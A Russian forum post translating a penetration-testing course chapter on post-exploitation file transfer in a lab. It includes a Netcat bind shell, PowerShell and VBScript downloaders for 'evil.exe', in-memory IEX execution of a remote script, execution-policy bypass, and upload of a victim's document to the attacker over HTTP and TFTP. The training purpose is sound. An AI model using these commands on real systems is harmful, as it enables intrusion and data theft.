disclaimer: Данный материал является свободным (приближенным к оригиналу) переводом методического материала PWK, в частности Глава 16. Передача файлов. В связи с закрытым форматом распространения данного материала убедительная просьба ознакомившихся с ней не осуществлять свободное распространение содержимого статьи, чтобы не ставить под удар других участников форума. Приятного чтения.
Введение
Термин пост-эксплуатация относится к действиям, выполняемым атакующим после того, как они получили некоторый контроль над целью. Некоторые пост-эксплуатационные действия включают в себя повышение привилегий, расширение контроля на дополнительные машины, установку бэкдоров, очистку следов атаки, загрузку файлов и утилит на целевую машину и т.д.
В этой главе рассмотрим различные методы передачи файлов, которые могут быть полезны при пентесте в определенных обстоятельствах.
Обзор и подготовка
Методы передачи файлов, которые будут обсуждаться в этой главе, могут поставить под угрозу успех нашей работы и их следует использоваться с осторожностью и только в определенных обстоятельствах, которые будут рассмотрены далее.
Также будет обсуждаться некоторая базовая подготовка, упрощающая выполнение упражнений, а также будут продемонстрированы ограничения и возможности их преодоления для стандартных шеллов в части передачи файлов.
Опасности связанные с передачей инструментов для атаки
В некоторых случаях может понадобиться перенести на нашу цель инструменты и утилиты для атаки. Однако, передача этих средств может быть опасной по нескольким причинам.
Во-первых, наши пост-эксплуатационные утилиты могут быть использованы злоумышленниками, что подвергает риску ресурсы клиента. Крайне важно документировать загрузку и удалять утилиты после завершения тестирования.
Во-вторых, большую проблему на этом этапе для нас представляет антивирусное программное обеспечение, которое сканирует конечные файловые системы в поисках предопределенных файловых сигнатур. Это программное обеспечение, которое повсеместно распространено в большинстве корпоративных сред, обнаружит наши средства атаки, поместит их в карантин (сделает бесполезными) и предупредит системного администратора.
Если системный администратор будет очень внимателен, это будет стоить нам ценного удаленного шелла, или, в худшем случае, будет означать конец нашего тестирования. Обход антивируса выходит за рамки этой главы, и будет подробно обсужден позднее.
Как правило, всегда следует стараться использовать встроенные инструменты на скомпрометированной системе. В качестве альтернативы, можно загружать дополнительные утилиты, когда имеющихся утилит недостаточно и при условии, что риск обнаружения минимален или когда наша потребность перевешивает риск обнаружения.
Усанавливаем Pure-FTPd
Для разбора материала в этой главе, давайте быстро установим сервер Pure-FTPd на нашу атакующую машину Кали. Если у вас уже настроен FTP-сервер в системе Кали, вы можете пропустить эти шаги.
Bash:
kali@kali:~$ sudo apt update && sudo apt install pure-ftpd
Листинг 1 - Установка Pure-FTP в Kali
Прежде чем клиенты смогут подключиться к FTP-серверу, необходимо создать нового пользователя для Pure-FTPd. Следующий Bash скрипт автоматизирует создание пользователя для нас:
Bash:
kali@kali:~$ cat ./setup-ftp.sh
#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /ftphome
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
systemctl restart pure-ftpd
Листинг 2 - Bash скрипт для настройки Pure-FTP в Kali
Сделаем скрипт исполняемым, затем запустим его и введем "lab" в качестве пароля для пользователя offsec, когда появится запрос:
Bash:
kali@kali:~$ chmod +x setup-ftp.sh
kali@kali:~$ sudo ./setup-ftp.sh
Password:
Enter it again:
Restarting ftp server
Листинг 3 - Настройка и запуск Pure-FTP в Kali
Неинтерактивный шелл
Неинтерактивный шелл
Большинство инструментов, подобных Netcat, предоставляют неинтерактивный шелл - это означает, что программы, требующие пользовательского ввода, такие как программы передачи файлов или su и sudo, как правило, работают плохо, если вообще работают. Неинтерактивным оболочкам также не хватает таких полезных функций, как tab-заполнение и управление задачами. Пример поможет проиллюстрировать эту проблему.
Надеюсь, вы знакомы с командой ls. Эта команда является неинтерактивной, потому что она может выполняться без взаимодействия с пользователем.
В противовес рассмотрим типичный сеанс FTP-входа из лабораторного клиента Debian в нашу систему Kali:
Bash:
student@debian:~$ ftp 10.11.0.4
Connected to 10.11.0.4.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 09:07. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (10.11.0.4:student): offsec
331 User offsec OK. Password required
Password:
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> bye
221-Goodbye. You uploaded 0 and downloaded 0 kbytes.
221 Logout.
student@debian:~$
Листинг 4 - Взаимодействие с FTP-сервером
В данном сеансе мы вводим имя пользователя и пароль, и процесс завершается только после того, как мы введем команду bye. Это интерактивная программа; для ее завершения требуется вмешательство пользователя.
Несмотря на то, что проблема может быть очевидна в данный момент, давайте попробуем провести FTP-сессию через неинтерактивную оболочку, в данном случае Netcat.
Для начала предположим, что был скомпрометирован клиент Debian и получен доступ к шеллу Netcat. Запустим Netcat на клиенте Debian, прослушивающий порт 4444, чтобы смоделировать данные обстоятельства:
Код:
student@debian:~$ nc -lvnp 4444 -e /bin/bash
listening on [any] 4444 ...
Листинг 5 - Настраиваем Netcat bind shell
Из нашей системы Кали мы подключимся к шеллу и попытаемся провести FTP-сессию из Листинга 4 еще раз:
Код:
kali@kali:~$ nc -vn 10.11.0.128 4444
ftp 10.11.0.4
offsec
lab
bye
^C
kali@kali:~$
Листинг 6 - Попытка FTP соединения в неинтерактивном шелле
Мы взаимодействуем с FTP-сервером, но не получаем никакой обратной связи в нашем шелле. Это происходит потому, что стандартный вывод из FTP-сессии (интерактивной программы) не перенаправляется корректно в стандартный bind или реверс шелл. Это приводит к потере контроля над нашим шеллом, и мы вынуждены полностью выйти из нее с помощью `Ctrl+C`. Это может оказаться большой проблемой во время тестирования.
Модернизация неинтерактивного шелла
Теперь, когда мы понимаем некоторые ограничения неинтерактивных оболочек, давайте рассмотрим, как мы можем "модернизировать" оболочку, чтобы она была гораздо более полезной. Интерпретатор Python, часто устанавливаемый на Linux-системах, поставляется со стандартным модулем pty, позволяющим создавать псевдотерминалы. Используя этот модуль, можно создать отдельный процесс из нашего удалённого шелла и получить полностью интерактивный шелл. Давайте попробуем.
Переподключимся к Netcat-шеллу и создадим в нем свой pty шелл:
Код:
kali@kali:~$ nc -vn 10.11.0.128 4444
(UNKNOWN) [10.11.0.128] 4444 (?) open
python -c 'import pty; pty.spawn("/bin/bash")'
student@debian:~$
Листинг 7 - Модернизация шелла с помощью Python
Сразу же после запуска команды на Python, мы видим знакомый Bash промпт. Давайте снова попробуем подключиться к локальному FTP-серверу, на этот раз через оболочку pty, и посмотрим, как он будет себя вести:
Код:
student@debian:~$ ftp 10.11.0.4
ftp 10.11.0.4
Connected to 10.11.0.4.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 50 allowed.
220-Local time is now 09:16. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (10.11.0.4:student): offsec
offsec
331 User offsec OK. Password required
Password:offsec
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> bye
bye
221-Goodbye. You uploaded 0 and downloaded 0 kbytes.
221 Logout.
student@debian:~$
Листинг 8 - Использование интерактивной программы с модернизированным шеллом
На этот раз интерактивное подключение к FTP-серверу прошло успешно (Листинг 8), и когда мы вышли из него, вернулись к модернизированному Bash промпту. Эта технология эффективно обеспечивает интерактивную оболочку через обычный неинтерактивный канал и является одной из самых популярных модернизаций для стандартной неинтерактивной оболочки под Linux.
Передача файлов на компьютерах под управлением Windows
В Unix-подобных системах мы часто встречаем такие инструменты, как Netcat, curl или wget, предустановленные с операционной системой, которые делают загрузку файлов с удаленной машины относительно простой. Однако на машинах с Windows этот процесс, как правило, не так прост. В этом разделе мы рассмотрим варианты передачи файлов на компьютерах под управлением Windows.
Неинтерактивная FTP загрузка
Операционные системы Windows по умолчанию поставляются с FTP клиентом, который может быть использован для передачи файлов. Как мы видели ранее, FTP клиент является интерактивной программой, которая требует ввода данных для работы, поэтому потребуется творческий подход, чтобы использовать FTP для передачи файлов.
Справка ftp (-h) имеет некоторые подсказки, которые могут помочь:
Код:
C:\Users\offsec> ftp -h
Transfers files to and from a computer running an FTP server service
(sometimes called a daemon). Ftp can be used interactively.
FTP [-v] [-d] [-i] [-n] [-g] [-s:filename] [-a] [-A] [-x:sendbuffer] [-r:recvbuffer] [-b:asyncbuffers] [-w:windowsize] [host]
-v Suppresses display of remote server responses.
-n Suppresses auto-login upon initial connection.
-i Turns off interactive prompting during multiple file transfers.
-d Enables debugging.
-g Disables filename globbing (see GLOB command).
-s:filename Specifies a text file containing FTP commands; the commands will automatically run after FTP starts.
-a Use any local interface when binding data connection.
-A login as anonymous.
-x:send sockbuf Overrides the default SO_SNDBUF size of 8192.
-r:recv sockbuf Overrides the default SO_RCVBUF size of 8192.
-b:async count Overrides the default async count of 3
-w:windowsize Overrides the default transfer buffer size of 65535.
host Specifies the host name or IP address of the remote host to connect to.
Notes:
- mget and mput commands take y/n/q for yes/no/quit.
- Use Control-C to abort commands.
Листинг 9 - Справка по FTP
Параметр -s принимает текстовый список ftp-команд, который фактически делает клиента неинтерактивным. На атакующей машине установим FTP-сервер и инициируем запрос на загрузку двоичного файла Netcat со взломанного хоста Windows.
Сперва поместим копию nc.exe в наш каталог /ftphome:
Код:
kali@kali:~$ sudo cp /usr/share/windows-resources/binaries/nc.exe /ftphome/
kali@kali:~$ ls /ftphome/
nc.exe
Листинг 10 - Копируем nc.exe и убеждаемся, что он в директории ftphome
Уже установлен и настроен Pure-FTPd на машине Кали, но мы перезапустим его, чтобы убедиться, что сервис доступен:
Bash:
kali@kali:~$ sudo systemctl restart pure-ftpd
Листинг 11 - Перезапуск Pure-FTPd в Kali
Далее создадим текстовый файл FTP команд, которые хотим выполнить, используя команду echo, как показано в Листинге 12.
Командный файл начинается с команды open, которая инициирует FTP-соединение с указанным IP-адресом. Далее скрипт аутентифицируется как offsec командой USER и вводит пароль lab. На этом этапе у нас должно быть успешно аутентифицированное FTP соединение, и мы можем написать список команд, необходимых для передачи нашего файла.
Запросим передачу двоичного файла с помощью команды bin и выдадим GET-запрос на nc.exe. В конце закроем соединение командой bye:
Код:
C:\Users\offsec>echo open 10.11.0.4 21> ftp.txt
C:\Users\offsec>echo USER offsec>> ftp.txt
C:\Users\offsec>echo lab>> ftp.txt
C:\Users\offsec>echo bin >> ftp.txt
C:\Users\offsec>echo GET nc.exe >> ftp.txt
C:\Users\offsec>echo bye >> ftp.txt
Листинг 12 - Создание неинтерактивного скрипта FTP
Теперь мы готовы к запуску сеанса FTP, используя список команд, который фактически сделает интерактивный сеанс неинтерактивным. Для этого выполним следующую команду FTP:
Код:
C:\Users\offsec> ftp -v -n -s:ftp.txt
Листинг 13 - Неинтерактивное использование FTP
В приведенном выше листинге мы использовали -v для блокирования любого возвращаемого вывода, -n для блокирования автоматического входа в систему, и -s для указания имени нашего командного файла.
После запуска команды в Листинге 13, содержимое файла будет выполнено, и рабочая копия nc.exe должна появиться в текущем каталоге:
Код:
C:\Users\offsec> ftp -v -n -s:ftp.txt
ftp> open 192.168.1.31 21
ftp> USER offsec
ftp> bin
ftp> GET nc.exe
ftp> bye
C:\Users\offsec> nc.exe -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
...
Листинг 14 - Успешная передача файла nc.exe
Передача файлов в Windows с использованием скриптов
Передача файлов в Windows с использованием скриптов
Можно использовать такие скриптовые движки, как
Ссылка скрыта от гостей
(в Windows XP, 2003) и PowerShell (в Windows 7, 2008 и выше) для загрузки файлов на компьютер-жертву. Для примера, следующий набор неинтерактивных команд echo, при вставке в удаленный шелл, запишет скрипт wget.vbs, который будет действовать как простой HTTP загрузчик:
Код:
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
Листинг 15 - Создание скрипта VBScript HTTP загрузчика
Можно запустить его (с помощью команды cscript), чтобы скачать файлы с нашей машины Кали:
Код:
C:\Users\Offsec> cscript wget.vbs http://10.11.0.4/evil.exe evil.exe
Листинг 16 - Запуск скрипта VBScript HTTP загрузчика
Для наиболее свежих версий Windows мы можем использовать PowerShell в качестве еще более простой альтернативы для загрузки. В примере ниже показана реализация скрипта загрузчика, использующего
Ссылка скрыта от гостей
:
Код:
C:\Users\Offsec> echo $webclient = New-Object System.Net.WebClient >>wget.ps1
C:\Users\Offsec> echo $url = "http://10.11.0.4/evil.exe" >>wget.ps1
C:\Users\Offsec> echo $file = "new-exploit.exe" >>wget.ps1
C:\Users\Offsec> echo $webclient.DownloadFile($url,$file) >>wget.ps1
Листинг 17 - Создание скрипта PowerShell HTTP загрузчика
Теперь можно использовать PowerShell для запуска скрипта и загрузки файла. Однако, чтобы обеспечить корректное и скрытое выполнение скрипта, необходимо указать ряд параметров при выполнении скрипта, как показано ниже в Листинге 18.
Во-первых, необходимо дать разрешение на выполнение скриптов PowerShell (по умолчанию ограниченое) с помощью параметра -ExecutionPolicy, передав значение Bypass. Далее необходимо использовать параметры -NoLogo и -NonInteractive для скрытия баннера с логотипом PowerShell и подавления окна командной строки PowerShell соответственно. Параметр -NoProfile не позволит PowerShell загрузить профиль по умолчанию (который не нужен), и, наконец, указывается файл скрипта с помощью параметра -File:
Код:
C:\Users\Offsec> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
Листинг 18 - Запуск скрипта PowerShell HTTP загрузчика
Также возможно выполнить этот скрипт в виде однострочника, как показано ниже:
Код:
C:\Users\Offsec> powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.11.0.4/evil.exe', 'new-exploit.exe')
Листинг 19 - Запуск PowerShell HTTP загрузчика в виде однострочника
Если необходимо загрузить и выполнить PowerShell скрипт без сохранения его на диск, можно снова использовать класс System.Net.Webclient. Это делается путем объединения метода DownloadString с
Ссылка скрыта от гостей
.Чтобы продемонстрировать это, создадим простой PowerShell скрипт на машине Кали (Листинг 20):
Bash:
kali@kali:/var/www/html$ sudo cat helloworld.ps1
Write-Output "Hello World"
Листинг 20 - Скрипт Hello World, расположенный на нашем веб-сервере
Далее выполним скрипт со следующей командой на нашей скомпрометированной машине Windows (Листинг 21):
Код:
C:\Users\Offsec> powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('[URL unfurl="true"]http://10.11.0.4/helloworld.ps1')[/URL]
Hello World
Листинг 21 - Запуск удаленного скрипта PowerShell прямо из памяти
Содержимое скрипта PowerShell было загружено с нашей машины Кали и успешно выполнено без сохранения на жесткий диск жертвы.
Загрузка в Windows с помошью exe2hex и PowerShell
В этом разделе будет рассмотрен нестандартный, но очень интересный способ загрузить двоичный файл с Кали на скомпрометированный хост Windows. На машине Кали сожмем бинарный файл, который хотим передать, преобразуем его в шестнадцатеричную строку и вставим в скрипт Windows.
На машине Windows вставим этот скрипт в наш шелл и запустим его. Он перенаправит шестнадцатеричные данные в powershell.exe, который соберет их обратно в двоичный файл. Это будет сделано с помощью нескольких неинтерактивных команд.
В качестве примера, давайте используем powershell.exe для передачи программы Netcat с машины Kali Linux на Windows клиент через удаленный шелл.
Начнем с поиска и проверки файла nc.exe на Kali Linux.
Bash:
kali@kali:~$ locate nc.exe | grep binaries
/usr/share/windows-resources/binaries/nc.exe
kali@kali:~$ cp /usr/share/windows-resources/binaries/nc.exe .
kali@kali:~$ ls -lh nc.exe
-rwxr-xr-x 1 kali kali 58K Sep 18 14:22 nc.exe
Листинг 22 - Поиск и проверка nc.exe
Хотя бинарный файл и так достаточно мал, мы уменьшим размер файла, чтобы показать, как это делается. Будем использовать программу upx, упаковщик для исполняемых файлов (также известный как Packer for eXecutables - PE):
Bash:
kali@kali:~$ upx -9 nc.exe
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2018
UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018
File size Ratio Format Name
-------------------- ------ ----------- -----------
59392 -> 29696 50.00% win32/pe nc.exe
Packed 1 file.
kali@kali:~$ ls -lh nc.exe
-rwxr-xr-x 1 kali kali 29K Sep 18 14:22 nc.exe
Листинг 23 - Упаковка и сжатие nc.exe
Как мы видим, upx оптимизировал размер файла nc.exe, уменьшив его почти на 50%. Несмотря на меньший размер, переносимый исполняемый файл Windows все еще функционирует и может быть запущен как обычно.
Теперь, когда файл оптимизирован и готов к передаче, его можем преобразовать в Windows-скрипт (.cmd) для запуска на машине Windows, которая преобразует файл в шестнадцатеричный формат и даст команду powershell.exeсобрать его обратно в двоичный файл. Используем подходящий инструмент exe2hex для процесса преобразования:
Bash:
kali@kali:~$ exe2hex -x nc.exe -p nc.cmd
[*] exe2hex v1.5.1
[+] Successfully wrote (PoSh) nc.cmd
Листинг 24 - Преобразование nc.exe в файл batch
В результате создается скрипт с именем nc.cmd, содержимое которого выглядит следующим образом:
Код:
kali@kali:~$ head nc.cmd
echo|set /p="">nc.hex
echo|set /p="4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000">>nc.hex
echo|set /p="504500004c010300b98eae340000000000000000e0000f010b010500007000000010000000d00000704c010000e000000050010000004000001000000002000004000000000000000400000000000000006001000010000000000000030000000000100000100000000010000010000000000000100000000000000000000000">>nc.hex
...
Листинг 25 - Результат работы exe2hex
Обратите внимание, что большинство команд в этом скрипте не являются интерактивными и состоят в основном из команд echo. В конце скрипта находятся команды, которые восстанавливают исполняемый файл nc.exe на целевой машине:
Код:
...
powershell -Command "$h=Get-Content -readcount 0 -path './nc.hex';$l=$h[0].length;$b=New-Object byte[] ($l/2);$x=0;for ($i=0;$i -le $l-1;$i+=2){$b[$x]=[byte]::Parse($h[0].Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);$x+=1};set-content -encoding byte 'nc.exe' -value $b;Remove-Item -force nc.hex;"
Листинг 26 - Команда PowerShell для восстановления nc.exe
Когда мы копируем и вставляем этот сценарий в шелл на машине Windows и запускаем его, мы видим, что он на самом деле создает полностью работающую копию оригинального nc.exe.
Код:
...
000000000000000000000000000000000000000000000">>nc.hex
C:\Users\offsec>powershell -Command "$h=Get-Content -readcount 0 -path './nc.hex';$l=$h[0].length;$b=New-Object byte[] ($l/2);$x=0;for ($i=0;$i -le $l-1;$i+=2){$b[$x]=[byte]::Parse($h[0].Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);$x+=1}; set-content -encoding byte 'nc.exe' -value $b;Remove-Item -force nc.hex;"
C:\Users\offsec> nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, stealth mode
-e prog inbound program to exec [dangerous!!]
...
Листинг 27 - Использование PowerShell для восстановления nc.exe
Загрузки файлов в Windows посредством скриптовых языков Windows
Загрузки файлов в Windows посредством скриптовых языков Windows
Иногда может потребоваться получить данные из целевой сети с помощью клиента Windows. С этим могут возникнуть проблемы, так как стандартные TFTP, FTP и HTTP-серверы редко включены в Windows по умолчанию.
К счастью, если исходящий HTTP-трафик разрешен, можно использовать PowerShell класс System.Net.WebClient для загрузки данных на машину Кали через HTTP POST запрос.
Для этого можно создать PHP-скрипт и сохранить его как upload.php в главном каталоге размещения web-русурсов, /var/www/html:
PHP:
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
Листинг 28 - PHP-скрипт для получения POST запроса HTTP
Код PHP в Листинге 28 обработает запрос на загрузку входящего файла и сохранит полученные данные в каталог /var/www/uploads/.
Далее необходимо создать папку uploads и изменить ее права доступа, предоставив пользователю www-data право владельца и соответствующие права на запись:
Bash:
kali@kali:/var/www$ sudo mkdir /var/www/uploads
kali@kali:/var/www$ ps -ef | grep apache
root 1946 1 0 21:39 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 1947 1946 0 21:39 ? 00:00:00 /usr/sbin/apache2 -k start
kali@kali:/var/www$ sudo chown www-data: /var/www/uploads
kali@kali:/var/www$ ls -la
total 16
drwxr-xr-x 4 root root 4096 Feb 2 00:33 .
drwxr-xr-x 13 root root 4096 Sep 20 14:57 ..
drwxr-xr-x 2 root root 4096 Feb 2 00:33 html
drwxr-xr-x 2 www-data www-data 4096 Feb 2 00:33 uploads
Листинг 29 - Установка прав доступа для директории uploads
Обратите внимание, что это позволит любому, кто взаимодействует с uploads.php, загружать файлы на нашу виртуальную машину Кали.
С Apache и PHP-скриптом, готовым принять наш файл, мы перемещаемся на скомпрометированный хост Windows и вызываем метод UploadFile из класса System.Net.WebClient, чтобы загрузить документ, который хотим извлечь, в данном случае, файл с именем important.docx:
Код:
C:\Users\Offsec> powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', 'important.docx')
Листинг 30 - Команда PowerShell для выгрузки файла на атакующий компьютер
После выполнения команды powershell мы можем проверить успешную передачу файла:
Код:
kali@kali:/var/www/uploads$ ls -la
total 360
drwxr-xr-x 2 www-data www-data 4096 Feb 2 00:38 .
drwxr-xr-x 4 root root 4096 Feb 2 00:33 ..
-rw-r--r-- 1 www-data www-data 359250 Feb 2 00:38 important.docx
Листинг 31 - Файл загружен на компьтер Kali
Загрузка файлов с помощью TFTP
Загрузка файлов с помощью TFTP
Хотя показанные выше методы передачи файлов на базе Windows работают на всех версиях Windows, начиная с Windows 7 и Windows Server 2008 R2, возможно столкнуться с проблемами при работе со старыми операционными системами. PowerShell, хотя и очень мощный и часто используемый инструмент, он по умолчанию не устанавливается на такие операционные системы, как Windows XP и Windows Server 2003, которые все еще встречаются в некоторых производственных сетях. Не смотря на то, что VBScript и FTP клиенты имеются в наличии и будут работать, в этом разделе мы обсудим другой метод передачи файлов, который может быть эффективным для нашей задачи.
Ссылка скрыта от гостей
является протоколом передачи файлов на основе UDP и часто ограничивается корпоративными правилами исходящего трафика брандмауэра.Во время пентеста можно использовать TFTP для передачи файлов со старых операционных систем Windows до Windows XP и 2003. Это прекрасный инструмент для неинтерактивной передачи файлов, но он не устанавливается по умолчанию на системы под управлением Windows 7, Windows 2008 и более новых версий.
По этим причинам TFTP не является идеальным протоколом передачи файлов в большинстве ситуаций, но при определенных обстоятельствах он имеет свои преимущества.
Прежде чем мы научимся передавать файлы с помощью TFTP, нам сначала нужно установить и настроить сервер TFTP на Кали и создать каталог для хранения и обработки файлов. Затем обновим права владельца директории, чтобы иметь возможность записывать в нее файлы. Запустим atftpd как демон на UDP-порту 69 и настроим его на использование только что созданной директории /tftp:
Bash:
kali@kali:~$ sudo apt update && sudo apt install atftp
kali@kali:~$ sudo mkdir /tftp
kali@kali:~$ sudo chown nobody: /tftp
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp
Листинг 32 - Установка и настройка TFTP сервера в Kali
На Windows-системе запустим клиент tftp с параметром -i для указания передачи бинарного образа, IP-адреса системы Кали, команды put для инициации загрузки, и, наконец, имени файла для загрузки.
Итоговая команда аналогична той, что показана ниже в Листинге 33:
Код:
C:\Users\Offsec> tftp -i 10.11.0.4 put important.docx
Transfer successful: 359250 bytes in 96 second(s), 3712 bytes/s
Листинг 33 - Выгрузка файлов на наш компьютер Kali с использованием TFTP
О некоторых невероятно интересных способах использования общих утилит Windows для работы с файлами, выполнения программ, обхода UAC и многого другого, см. проект Living Off The Land Binaries And Scripts (LOLBAS), поддерживаемый Оддваром Мо (Oddvar Moe) и несколькими авторами, целью которого является "документирование каждого бинарного файла, скрипта и библиотеки, которые могут быть использованы для [этих] техник". Например, программа certutil.exe может легко загружать произвольные файлы и многое другое.
Заключение
В этой главе была рассмотрена передача файлов в пост-эксплуатации. Узнали о традиционных методах передачи файлов, таких как FTP и TFTP, и как модернизировать неинтерактивные оболочки. Обратили особое внимание на специфические для Windows методы передачи файлов с использованием различных скриптовых языков, а также на то, как утилита exe2hex может быть использована для передачи файлов.
Указанные методы могут быть использованы различными способами в процесее пентеста, чтобы передать инструменты или данные в целевую сеть или из нее.
Последнее редактирование: